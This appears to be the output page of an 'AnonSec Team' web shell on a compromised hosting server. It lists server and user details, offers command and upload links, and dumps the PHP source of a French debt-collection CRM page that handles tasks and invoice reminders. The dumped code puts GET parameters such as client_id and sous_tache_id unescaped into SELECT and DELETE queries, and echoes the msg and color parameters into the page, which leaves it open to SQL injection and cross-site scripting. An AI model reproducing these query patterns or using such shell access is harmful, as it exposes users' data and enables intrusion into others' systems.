AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.217.36
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/MC/../www/mcg/plugins/jszip/../../.github/../sms/../pages/python/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/MC/../www/mcg/plugins/jszip/../../.github/../sms/../pages/python/../cRvouvrement.php
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// error_reporting(E_ALL);
// ini_set("ddisplay_errors", 1);
// ini_set('memory_limit', '1000M');
echo "test <br/>" ; 
// exit()  ;
if(!empty($_GET['pager']))
{

 $_SESSION["pager"]=$_GET['pager'] ;
 // $_SESSION["rowid"]=$_GET['rowid'] ;
}



// exit() ;
  $page_reg =   $_SESSION["pager"] ;

if(!empty($_POST))
{

echo "<pre>" ;
print_r($_POST) ;
echo "</pre>" ;
exit() ;
}
$pagemenu = basename($_SERVER["PHP_SELF"]) ;
$now   = time();


function dateDiff($date1, $date2){
    $diff = abs($date1 - $date2); // abs vour avoir la valeur absolute, ainsi éviter d'avoir une différence négative
    $retour = array();

    $tmp = $diff;
    $retour['second'] = $tmp % 60;

    $tmp = floor( ($tmp - $retour['second']) /60 );
    $retour['minute'] = $tmp % 60;

    $tmp = floor( ($tmp - $retour['minute'])/60 );
    $retour['hour'] = $tmp % 24;

    $tmp = floor( ($tmp - $retour['hour'])  /24 );
    $retour['day'] = $tmp;

    return $retour;
}

if(!empty($_POST))
{
	echo 'test';
print_r($_POST);
echo '</pre>';
exit() ;
}
// ini_set('display_errors','on');
// error_reporting(E_ALL);

///////////variable session de client ///////////////////////////////

						// if(!empty($_GET['client_id']))
						// {
						// $_SESSION["client_id"]=$_GET['client_id'];

						// }
						 // $client_id =$_SESSION["client_id"] ;


						  if(!empty($_GET['client_id']))
	 {
		 $client_id = $_GET['client_id'] ;
		 $_SESSION["client_id"] = $client_id ;
	 }
	 else
	 {
		 $client_id=$_SESSION["client_id"] ;
	 }


//////////////////////////function////////////////////////////////////
					function get_drop_down_reglement2 ($name='', $param = '', $value='')
					{
						$q = dbi_query("SELECT * FROM reglement") ;
						$res = "<select  class='form-control' name=\"$name\" $param>" ;
						while($r = dbi_fetch_row($q))
							$res .= "<option value=\"{$r['reglement_id']}\"".($r['reglement_id'] == $value ? ' selected' : (($value==''&&$r['reglement_id'] == 2) ? ' selected' : '')).">".utf8_encode($r['reglement_desc'])."</option>" ;
						return "$res</select>" ;
					}


 // //////////////////// **********************************l'ajout d'une tache revouvrement ******************************************* ///////////////////////////////////

					  if($_POST['submitbtn']=="enregistrer")
			 {

// echo "bb <br/>" ;
// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;
// exit() ;

 // echo "<pre>" ;
 // print_r($_POST) ;
 // echo "<pre>" ;
 $page="index.php";

 if(!empty($_POST['tache_date_fin']))
						{
 $tache_date_fin= dateformaint($_POST['tache_date_fin']) ;
						}
 // echo "==> $tache_date_fin <br/>" ;
 // exit() ;

		  $date_creation = date("Ymd");

						$tache_sujet=addslashes($_POST['tache_sujet']) ;

						// $tache_date_fin=$_POST['tache_date_fin'] ;

						$tache_Priorite=$_POST['tache_Priorite'] ;
						$salarie_id=$_POST['salarie_id'] ;
						// $client_id=$_POST['client_id'] ;
						// $user_id=$_SESSION['MCPRO']['user_id'] ;
						$user_id = $_SESSION['MCPRO']['login']['4'] ;
						$tache_designation=addslashes($_POST['tache_designation']) ;



					dbi_query(" INSERT INTO  tache (
					tache_sujet,
					tache_date_fin,
					tache_Priorite,
					salarie_id,
					client_id,
					user_id,

					date_creation,
					tache_recouvrement
 )
 VALUES
 (

 '$tache_sujet',
 '$tache_date_fin',
 '$tache_Priorite',
 '$salarie_id',
 '$client_id',
 '$user_id',

 '$date_creation',
 '1'

)") ;

list($tache_idd)=dbi_fetch_row(dbi_query("SELECT max(tache_id) FROM `tache`")) ;
header("Location:cRvouvrement.php?msg=tache bien ajouté&color=success&page=$page&rowid=$tache_idd");
			 }




  //////////////////////************************************** Modifer sous tache ***********************************************/////////////////////////////////////////

  if(!empty($_POST['sous_tache_id']))
  {
	  // echo "bbbbbb <br/>" ;
// echo "<pre>" ;
// print_r($_POST);
// echo "</pre>" ;
// exit() ;


	 $sous_tache_designation=addslashes($_POST['sous_tache_designation']) ;
	 $sous_tache_status =  $_POST['sous_tache_status'] ;
	 $user_id = $_POST['user_id'] ;
	 $sous_tache_date_fin = $_POST['sous_tache_date_fin'] ;
	$sous_tache_id  = $_POST['sous_tache_id'] ;
$PRIORITAIRE = $_POST['PRIORITAIRE'];
	if($_POST['sous_tache_status'] == 0)
	{
		// echo "aaaa" ;
		// exit() ;


	dbi_query(" update sous_tache SET sous_tache_designation ='".$sous_tache_designation."', sous_tache_status ='".$sous_tache_status."', PRIORITAIRE ='".$PRIORITAIRE."', user_id = '".$user_id."',sous_tache_date_fin = '".$sous_tache_date_fin."' WHERE  sous_tache_id = '".$sous_tache_id."'");
	}
	 else{
		 // echo "bbb" ;
		// exit() ;
		 $user_id_fin_tache = $_SESSION['MCPRO']['login']['4'] ;
		 	$date_fin = date('Ymd');
	dbi_query(" update sous_tache SET sous_tache_designation ='".$sous_tache_designation."', sous_tache_status ='".$sous_tache_status."', PRIORITAIRE ='".$PRIORITAIRE."', user_id = '".$user_id."',sous_tache_date_fin = '".$sous_tache_date_fin."',date_heure_fin_tach = '".$date_heure_fin_tach."', user_id_fin_tache = '".$user_id_fin_tache."', date_fin = '".$date_fin."' WHERE  sous_tache_id = '".$sous_tache_id."'");
	 }

		// echo " update sous_tache SET sous_tache_designation ='".$sous_tache_designation."', sous_tache_status ='".$sous_tache_status."', user_id = '".$user_id."',sous_tache_date_fin = '".$sous_tache_date_fin."' WHERE  sous_tache_id = '".$sous_tache_id."'" ;
		// exit() ;

		header('Location:cRvouvrement.php?msg= <strong> Bien : </strong> sous tache bien modifié&color=success');
  }

    // je supprime sous tache et je conserve historique de suppression

			if($_GET['sup']== 1)
{


	$que =dbi_query(" SELECT * FROM sous_tache WHERE `sous_tache_id` = ".$_GET['sous_tache_id']) ;

	while($que_sup= dbi_fetch_row($que))
	{
	$tache_id = $que_sup['tache_id'] ;
	$user_id = $que_sup['user_id'] ;
	$sous_tache_designation = $que_sup['sous_tache_designation'] ;
	$sous_tache_date_fin = $que_sup['sous_tache_date_fin'] ;
	$sous_tache_status = $que_sup['sous_tache_status'] ;
	$date_creation = $que_sup['date_creation'] ;
	$date_heure_creation = $que_sup['date_heure_creation'] ;
	$date_heure_fin_tach = $que_sup['date_heure_fin_tach'] ;
	$user_id_fin_tache = $que_sup['user_id_fin_tache'] ;
	$user_id_creation = $que_sup['user_id_creation'] ;

	$date_sup = date('Ymd');
	$user_sup = $_SESSION['MCPRO']['login']['4'] ;
	$date_heure_sup = date('d-m-Y h:i:s', time());


	}


	dbi_query("INSERT INTO `sous_tache_sup` (`sous_tache_id`, `tache_id`, `user_id`, `sous_tache_designation`, `sous_tache_date_fin`, `sous_tache_status`, `date_creation`, `user_id_creation`,
	`date_heure_creation`, `date_heure_fin_tach`, `user_id_fin_tache`, `user_sup`, `date_sup`, `date_heure_sup`) VALUES
	('', '$tache_id', '$user_id', '$sous_tache_designation', '$sous_tache_date_fin', '$sous_tache_status', '$date_creation', '$user_id_creation',
	'$date_heure_creation', '$date_heure_fin_tach', '$user_id_fin_tache', '$user_sup', '$date_sup', '$date_heure_sup')");
	dbi_query("DELETE FROM `sous_tache` WHERE `sous_tache`.`sous_tache_id`  =".$_GET['sous_tache_id']) ;

			header('Location:cRvouvrement.php?msg= <strong> Bien : </strong>sous tache bien supprimé&color=success');

}

$q= dbi_fetch_row(dbi_query("SELECT * FROM client where client_id = ".$client_id)) ;

	?>
<!DOCTYPE html>
<html>

<head>


												<!-- Font Awesome -->
  <link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
												<!-- Ionicons -->
  <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<?php include('header.php'); ?>
												<!-- Google Font: Source Sans Pro -->
  <link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
    <style>
.myCollapse {
    display: none;
}
.myCollapse.in {
    display: block;
}
  .modal-header {
    padding: 15px;
    border-bottom: 1px solid #e5e5e5;
}
  .modal-header {
    background: #226faa;
    background: -webkit-gradient(linear,left top,right top,from(#226faa),color-stop(37%,#2989d8),to(#72c0d3));
    background: linear-gradient(to right,#226faa 0,#2989d8 37%,#72c0d3 100%);
    border-radius: 6px;
    color: #fff;
    padding: 18px;
    border-bottom-left-radius: 0;
    border-bottom-right-radius: 0;
    border-color: transparent;
}

.modal-header .close {
    margin-top: -3px;
    font-size: 24px;
    font-weight: 400;
    color: #fff;
    opacity: .9;
    width: 28px;
    height: 28px;
    padding-bottom: 0;
    padding-left: 1px;
}
button.close {
    padding: 0;
    cursor: pointer;
    background: 0 0;
    border: 0;
    -webkit-appearance: none;
    -moz-appearance: none;
    appearance: none;
}



  </style>
  <!-- DataTables -->
  <link rel="stylesheet" href="../plugins/datatables-bs4/css/dataTables.bootstrap4.css">
  												<!-- overlayScrollbars -->
  <link rel="stylesheet" href="../dist/css/adminlte.min.css">
</head>

<body class="hold-transition sidebar-mini">
												<!-- Site wrapper -->
	<div class="wrapper">

		<nav class="main-header navbar navbar-expand navbar-white navbar-light">
			<!-- Menu extensible -->
			<ul class="navbar-nav">
				<li class="nav-item"><a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a></li>
				<li> </li>
				<li></li>
			 </ul>

		 <!-- liens TOP MENU DROITE -->
			<ul class="navbar-nav ml-auto">
			 <!-- Placer ici l'élément à positionner à droite du TOP MENU -->
			</ul>
		</nav>  <!-- fin du TOP MENU -->

		<?php include('menu.php'); ?>




 <!-- Ne pas toucher au dessus / fin de la BARRE DE NAVIGATION-->
 <!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
		<div class="content-wrapper">
			<!-- Content Header (Page header) -->
			<div class="content-header">
			  <div class="container-fluid">
				<div class="row mb-2">
                  <div class="row mb-2">
				  <?php
				  // echo "aaaaadddddrrrrrddd"
				  ?>
						<div  class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1"  aria-labelledby="myLargeModalLabel" >
						  <div class="modal-dialog modal-lg">
							<div class="modal-content data">
								<div id="fetch" ></div>


								</div>
							</div>
						</div>
                                   <!-- *************************** modal cree  nouvelle   tache  ***************** -->
						<div class="modal fade" id="modal-tache">
							<div class="modal-dialog modal-lg">
								<div class="modal-content">
									<div class="modal-header">
									  <h4 class="modal-title">Nouvelle TACHE</h4>
									  <button type="button" class="close" data-dismiss="modal" aria-label="Close">
										<span aria-hidden="true">&times;</span>
									  </button>
									</div>
										<div class="modal-body">
											<div class="card-body">
													<form action="" method="POST">
													<div class="form-row">
														<div class="form-group col-md-8">
														  <label for="inputsociete">Sujet</label>
														  <input type="text"	 class="form-control" name="tache_sujet"  required>
													    </div>
														<div class="form-group col-md-4">
															<label>Priorité </label>
															  <div class="input-group">
																	<select class="form-control" name="tache_Priorite"  id="tache_Priorite">
																		<option value="-1" selected="selected" disabled="disabled">-Priorité-</option>
																		<option value="1" selected > Moyen </option>
																		<option value="2" > Haute </option>
																		<option value="3" > Urgente </option>
																	</select>
															 </div>
														</div>

				<?php
				 $req =dbi_query("SELECT *  FROM `salarie` WHERE `salarie_statut` = '1' ORDER BY `salarie`.`salarie_nom` ASC") ;
				?>
													   <div class="form-group col-md-6"><!-- Liste déroulante jour -->
															<label>Salarié </label>

															<select class="form-control select2" style="width: 100%;" name="salarie_id">
															<option value="-1" selected="selected" disabled="disabled">-Salarié-</option>
															<?php
															while(  $sal=dbi_fetch_row($req))
															{
															?>

																<option value="<?php echo $sal['salarie_id'] ; ?>"  ><?php echo $sal['salarie_nom']." ".$sal['salarie_prenom']; ?></option>

																<?php
															}
															?>
															</select>
														</div>



													</div>
											</div>
										</div>
												<div class="modal-footer justify-content-between">
												  <button type="button" class="btn btn-primary" data-dismiss="modal">Fermer</button>
												  <button type="submit" name="submitbtn" class="btn btn-primary" value="enregistrer" >Enregistrer</button>

												  </form>
												</div>
								</div>
							</div>
						</div>

				 <!-- *************************** modal cree  nouvelle  sous tache  ***************** -->

				       <div class="modal fade" id="modal-sousTACHE">
        <div class="modal-dialog modal-lg">
          <div class="modal-content">
            <div class="modal-header">
              <h4 class="modal-title">Nouvelle Action</h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>


            <div class="modal-body">


               <div class="card-body">


     <form method="post" action="/pages/sms/send_message_sous_tache.php">
 <!-- ///////Ligne société & Catégorie -->
<!-- ///////Ligne -->
  <div class="form-row">

   <?php

      $today = date("Y-m-d");
	   // echo " $today <br/>" ;
   ?>

   <div class="form-group col-md-4">
      <label for="inputsociete">Date</label>

	<input type="date" class="form-control" id="end" name="sous_tache_date_fin" value="<?=$today?>">

   </div>






  				<?php $req_user =dbi_query("SELECT * FROM `users`") ; 	?>



          <div class="form-group col-md-4">
      <label for="inputsociete" >Affecté à </label>

                    <!-- <input type="text" class="form-control"  name="number"  placeholder="jj/mm/aaaa"> -->

                      <select required="required" class="form-control select2" name="user_id">
				<option value="" selected="selected" disabled="disabled">-User-</option>
				<?php
				while(  $user=dbi_fetch_row($req_user))
				{
				?>

                    <option value="<?=$user['user_id']?>" ><?php echo $user['user_nom']." ".$user['user_prenom'];  ?></option>

					<?php
				}
				?>
                </select>



   </div>

    	<div class="form-group col-md-4"><!-- Liste déroulante établissement -->
                <label>Terminé</label>
				<div class="input-group">
                <select class="form-control" name="sous_tache_status">
				<option value="0"  > NON</option>
                 <option value="1"  > OUI</option>
                </select>
				</div>
    </div>











	  <div class="form-group col-md-4">
      <label>Prioritaire </label>
	  <div class="input-group">

                    <!-- <input type="text" class="form-control"  name="number"  placeholder="jj/mm/aaaa"> -->

                    <select class="form-control" name="PRIORITAIRE"  id="PRIORITAIRE">

                        <option value="0" selected > NON </option>
                        <option value="1" > OUI </option>

                    </select>
                  </div>

   </div>



   <div class="form-group col-md-4">
      <label>SMS </label>
	  <div class="input-group">

                    <!--
					il ma demandé de bolqué   les sms alors    <option value="0" > OUI </option>   au lieu <option value="1" > OUI </option>

					<input type="text" class="form-control"  name="number"  placeholder="jj/mm/aaaa"> -->

                    <select class="form-control" name="sms" id="sms">

                        <option value="0" selected > NON </option>
                        <option value="0" > OUI </option>


                    </select>
                  </div>

   </div>


	&nbsp;&nbsp;














              <div class="form-group col-md-12">

			  <label for="inputAddresse">Désignation</label>


			   <textarea class="" placeholder=""
                          style="width: 100%; height: 200px; font-size: 14px; line-height: 18px; border: 1px solid #dddddd; padding: 10px;" name="sous_tache_designation"   ></textarea>



			  </div>


  </div>
         <?php  list($tache_id)=dbi_fetch_row(dbi_query("SELECT tache_id  FROM `tache` WHERE `tache_recouvrement` = 1 and client_id =  $client_id ")) ; ?>

				<input type="hidden" name="tache_idd" value="<?php echo $tache_id ; ?>">
				<input type="hidden" name="sous_tache_relance" value="sous_tache_relance">
				<input type="hidden" name="client_nom" value="<?php echo $nom_de_client ; ?>">
			  <input type="hidden" name="ajout" value="ajout">

              </div>

            </div>
            <div class="modal-footer justify-content-between">
              <button type="button" class="btn btn-primary" data-dismiss="modal">Fermer</button>
              <button type="submit" name="submitbtn_sous_tache"  value="sous_tache" class="btn btn-primary">Enregistrer</button>

			  </form>
            </div>
          </div>
          <!-- /.modal-content -->
        </div>
        <!-- /.modal-dialog -->
      </div>











				</div><!-- /.row -->
			</div><!-- /.row -->
		</div>
	</div>
			<!-- /.content-header -->





			<!-- PAGE PRINCIPALE -->
			<div class="content">
				<div class="container-fluid">


          <?php include('widget_client_haut.php'); ?>
        </div>
        </div>

          <div class="col-lg-12">

            <div class="card card-info">

              <?php include('menu_client_haut.php'); ?>

                <!-- small box -->

              </div>


								  <!-- CARD DE DROITE-->
									<div class="card">

										<div class="card-body">
											<!-- ><section class="content"> CARD DE DROITE-->
											<?php if(isset($_GET["msg"])){ ?>
												<div class="alert alert-<?php echo $_GET["color"]; ?>  alert-dismissible col-12" role="alert">
												  <strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
												  <button type="button" class="close" data-dismiss="alert" aria-label="Close">
													<span aria-hidden="true">&times;</span>
												  </button>
												</div>
											<?php  }


//**************************************************** non echu ******************************************

 $requet_non_echu = dbi_query("SELECT

date_fact , reglement_delai , DATE_ADD(STR_TO_DATE(date_fact, '%Y%m%d'), INTERVAL reglement_delai DAY ) as echu ,
 DATE_ADD( DATE_ADD(STR_TO_DATE(date_fact, '%Y%m%d'), INTERVAL reglement_delai DAY ) , INTERVAL 20 DAY) as echu_plus_vingt ,
 DATE_FORMAT(CURRENT_DATE, '%Y%m%d') as today ,

f.num_fact, f.fact_id, total,date_debut,date_fin, total-if(p.paye is null, 0, p.paye)-if(a.avoir is null, 0, a.avoir) AS paye,
 if(a.avoir is null, 0, a.avoir) avoir, f.date_fact, if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) >= total, 'Réglé',
 if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) = 0, 'Pas de règlement', 'Règlement partiel')) statut, f.relance FROM client c , facture f
 LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) paye, fact_id FROM paiement
 where client_id = $client_id group by fact_id) p ON f.fact_id = p.fact_id LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0,
 sum(if(montant is null, 0, montant))) avoir, fact_id FROM avoir group by fact_id) a ON f.fact_id = a.fact_id WHERE
 c.client_id = f.client_id AND f.client_id= $client_id AND if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) < total
 GROUP BY date_fact, f.fact_id, total  HAVING  today < echu order by num_fact DESC") ;







		// ***************************** plus vingt 	************************************
 $requet_plus_vingt = dbi_query("SELECT

date_fact , reglement_delai , DATE_ADD(STR_TO_DATE(date_fact, '%Y%m%d'), INTERVAL reglement_delai DAY ) as echu ,
 DATE_ADD( DATE_ADD(STR_TO_DATE(date_fact, '%Y%m%d'), INTERVAL reglement_delai DAY ) , INTERVAL 20 DAY) as echu_plus_vingt ,
 DATE_FORMAT(CURRENT_DATE, '%Y%m%d') as today ,

f.num_fact, f.fact_id, total,date_debut,date_fin, total-if(p.paye is null, 0, p.paye)-if(a.avoir is null, 0, a.avoir) AS paye,
 if(a.avoir is null, 0, a.avoir) avoir, f.date_fact, if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) >= total, 'Réglé',
 if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) = 0, 'Pas de règlement', 'Règlement partiel')) statut, f.relance FROM client c , facture f
 LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) paye, fact_id FROM paiement
 where client_id = $client_id group by fact_id) p ON f.fact_id = p.fact_id LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0,
 sum(if(montant is null, 0, montant))) avoir, fact_id FROM avoir group by fact_id) a ON f.fact_id = a.fact_id WHERE
 c.client_id = f.client_id AND f.client_id= $client_id AND if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) < total
 GROUP BY date_fact, f.fact_id, total  HAVING  today >  echu_plus_vingt order by num_fact DESC") ;



 // *****************************************moins vingt *****************************************



 			   $requet_moins_vingt = dbi_query("SELECT client_nom ,

date_fact , reglement_delai , DATE_ADD(STR_TO_DATE(date_fact, '%Y%m%d'), INTERVAL reglement_delai DAY ) as echu ,
 DATE_ADD( DATE_ADD(STR_TO_DATE(date_fact, '%Y%m%d'), INTERVAL reglement_delai DAY ) , INTERVAL 20 DAY) as echu_plus_vingt ,
 DATE_FORMAT(CURRENT_DATE, '%Y%m%d') as today ,

f.num_fact, f.fact_id, total,date_debut,date_fin, total-if(p.paye is null, 0, p.paye)-if(a.avoir is null, 0, a.avoir) AS paye,
 if(a.avoir is null, 0, a.avoir) avoir, f.date_fact, if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) >= total, 'Réglé',
 if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) = 0, 'Pas de règlement', 'Règlement partiel')) statut, f.relance FROM client c , facture f
 LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) paye, fact_id FROM paiement
 where client_id = $client_id group by fact_id) p ON f.fact_id = p.fact_id LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0,
 sum(if(montant is null, 0, montant))) avoir, fact_id FROM avoir group by fact_id) a ON f.fact_id = a.fact_id WHERE
 c.client_id = f.client_id AND f.client_id= $client_id AND if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) < total
 GROUP BY date_fact, f.fact_id, total  HAVING today >= echu AND  today <= echu_plus_vingt order by num_fact DESC") ;





											//printf($query, '<');
											// $date = date("Ymd");
											// echo " $reglementDelai  $date <br/>";
											// $q2 = dbi_query(sprintf($query2, '<')) ;
											// if(mysqli_num_rows($q2) || mysqli_num_rows($q))
											// {
												// echo ' *************** ';

												$badgee = 'badge-danger';
												$echu="<span class='badge ".$badgee."'> Plus Vingt</span>   " ;

												$success = 'badge-success';

												$echu .="<span class='badge ".$success."'> Non Echu  </span>  " ;


												$warning = 'badge-warning';

												$echu .="<span class='badge ".$warning."'>  Moins Vingt</span>  " ;



												echo  $echu."	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
												&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
												&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
												&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
												&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
												&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
												&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
												&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
												 ";
                                             if(!empty($page_reg))
											 {
											?>


											  <a href="<?=$page_reg?>" class="small-box-footer">
												  <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-arrow-return-left" viewBox="0 0 16 16">
													<path fill-rule="evenodd" d="M14.5 1.5a.5.5 0 0 1 .5.5v4.8a2.5 2.5 0 0 1-2.5 2.5H2.707l3.347 3.346a.5.5 0 0 1-.708.708l-4.2-4.2a.5.5 0 0 1 0-.708l4-4a.5.5 0 1 1 .708.708L2.707 8.3H12.5A1.5 1.5 0 0 0 14 6.8V2a.5.5 0 0 1 .5-.5z"/>
												  </svg>
											  </a>


											 <?}?>
											 <br/>
											<br clear="all" />
											<div id="tab">
											<div class="box-body">
											<table id="" class="table table-hover">
												<thead>
												<tr>
													<th style="text-align:center;">N° FACTURE</th>
													<th style="text-align:center;">DATE</th>
													<th style="text-align:center;">MONTANT</th>
													<th style="text-align:center;">NET A PAYER</th>
													<th style="text-align:center;">REGLEMENT</th>
													<th style="text-align:center;"></th>
												</tr>
												</thead>
												<tbody>
												<form action="relance_1.php"  method="POST"  >
											<?php


											// *****************************************************non echu ***********************************

												while($f = dbi_fetch_row($requet_non_echu))
												{

												$badge = 'badge-success';
												$echuu=int2date(date2int_DSI($f['echu'])) ;
												$echu="<span class='badge ".$badge."'>".$echuu."</span>" ;
											?>
												<tr>
													<td style="text-align:center;"><?=$f['num_fact']?></td>
													<td style="text-align:center;"><?=int2date($f['date_fact'])?></td>
													<td style="text-align:center;"><?=number_format($f['total'], 2, ', ', ' ').' &euro;'?></td>
													<td style="text-align:center;"><?=number_format($f['paye'], 2, ', ', ' ')?> &euro; <?=($f['avoir'] > 0) ? '<br>(avoirrr de '.number_format($f['avoir'], 2, ', ', ' ').' &euro;)' : ''?></td>
													<td style="text-align:center;"> <?=$echu?></td>
												    <td>  <input type="checkbox" id="subscribeNews" name="num_fact[]" value="<?=$f['num_fact']?>"></td>


												</tr>
											<?php
											// }
												}












													// *****************************************************plus vingt ***********************************

													while($f = dbi_fetch_row($requet_moins_vingt))
												{
													// echo "aaa <br/>" ;

													// $badge = 'badge-success';
																			// $dat_fin="<span class='badge badge-success'>".$dat_fin."</span>" ;
											 // <span class='badge badge-success'>
												$badge = 'badge-warning';
												$echuu=int2date(date2int_DSI($f['echu'])) ;
												$echu="<span class='badge ".$badge."'>".$echuu."</span>" ;
											?>
												<tr>
													<td style="text-align:center;"><?=$f['num_fact']?></td>
													<td style="text-align:center;"><?=int2date($f['date_fact'])?></td>
													<td style="text-align:center;"><?=number_format($f['total'], 2, ', ', ' ').' &euro;'?></td>
													<td style="text-align:center;"><?=number_format($f['paye'], 2, ', ', ' ')?> &euro; <?=($f['avoir'] > 0) ? '<br>(avoirrr de '.number_format($f['avoir'], 2, ', ', ' ').' &euro;)' : ''?></td>
													<td style="text-align:center;"> <?=$echu?></td>
												    <td>  <input type="checkbox" id="subscribeNews" name="num_fact[]" value="<?=$f['num_fact']?>"></td>


												</tr>
											<?php
											// }
												}



												// *****************************************************plus vingt ***********************************

													while($f = dbi_fetch_row($requet_plus_vingt))
												{

												$badge = 'badge-danger';
												$echuu=int2date(date2int_DSI($f['echu'])) ;
												$echu="<span class='badge ".$badge."'>".$echuu."</span>" ;

											?>
												<tr>
													<td style="text-align:center;"><?=$f['num_fact']?></td>
													<td style="text-align:center;"><?=int2date($f['date_fact'])?></td>
													<td style="text-align:center;"><?=number_format($f['total'], 2, ', ', ' ').' &euro;'?></td>
													<td style="text-align:center;"><?=number_format($f['paye'], 2, ', ', ' ')?> &euro; <?=($f['avoir'] > 0) ? '<br>(avoirrr de '.number_format($f['avoir'], 2, ', ', ' ').' &euro;)' : ''?></td>
													<td style="text-align:center;"> <?=$echu?></td>
												    <td>  <input type="checkbox" id="subscribeNews" name="num_fact[]" value="<?=$f['num_fact']?>"></td>


												</tr>
											<?php
											// }
												}














												echo '</tbody></table></div>';

												?>
												 <input type="submit" name="relance_1" class="btn btn-primary" value="Relance 1">
												 <input type="submit" name="relance_2" class="btn btn-primary" value="Relance 2">
												 <input type="submit" name="relance_3" class="btn btn-primary" value="Relance 3">
												 <input type="submit" name="mise_en_demeure" class="btn btn-primary" value="Mise en demeure">
												 <input type="submit" name="injonction" class="btn btn-primary" value=" Injonction ">
												</form>


														</div>


													<div class="card-body">
														<div id="tab">
											<div class="box-body">
											<table id="" class="table table-hover">
												<thead>
												<tr>
													<th style="text-align:center;">N° FACTURE</th>
													<th style="text-align:center;">MONTANT</th>
													<th style="text-align:center;">R 1</th>
													<th style="text-align:center;">R 2</th>
													<th style="text-align:center;">R 3</th>
													<th style="text-align:center;">MED</th>
													<th style="text-align:center;">INJONCTION</th>


												</tr>
												</thead>
												<tbody>

											<?php

											    $q3  = dbi_query("SELECT * FROM histo_relance where client_id=$client_id ") ;
												while($ff = dbi_fetch_row($q3))
												{

											?>
												<tr>
													<td style="text-align:center;"><?=$ff['numfact']?></td>
													<td style="text-align:center;"><?=number_format($ff['montant'], 2, ', ', ' ').' &euro;'?></td>
													<td style="text-align:center;"><?=int2date($ff['date_relance_1'])?></td>
													<td style="text-align:center;"><?=int2date($ff['date_relance_2'])?></td>
													<td style="text-align:center;"><?=int2date($ff['date_relance_3'])?></td>
													<td style="text-align:center;"><?=int2date($ff['mise_en_demeure'])?></td>
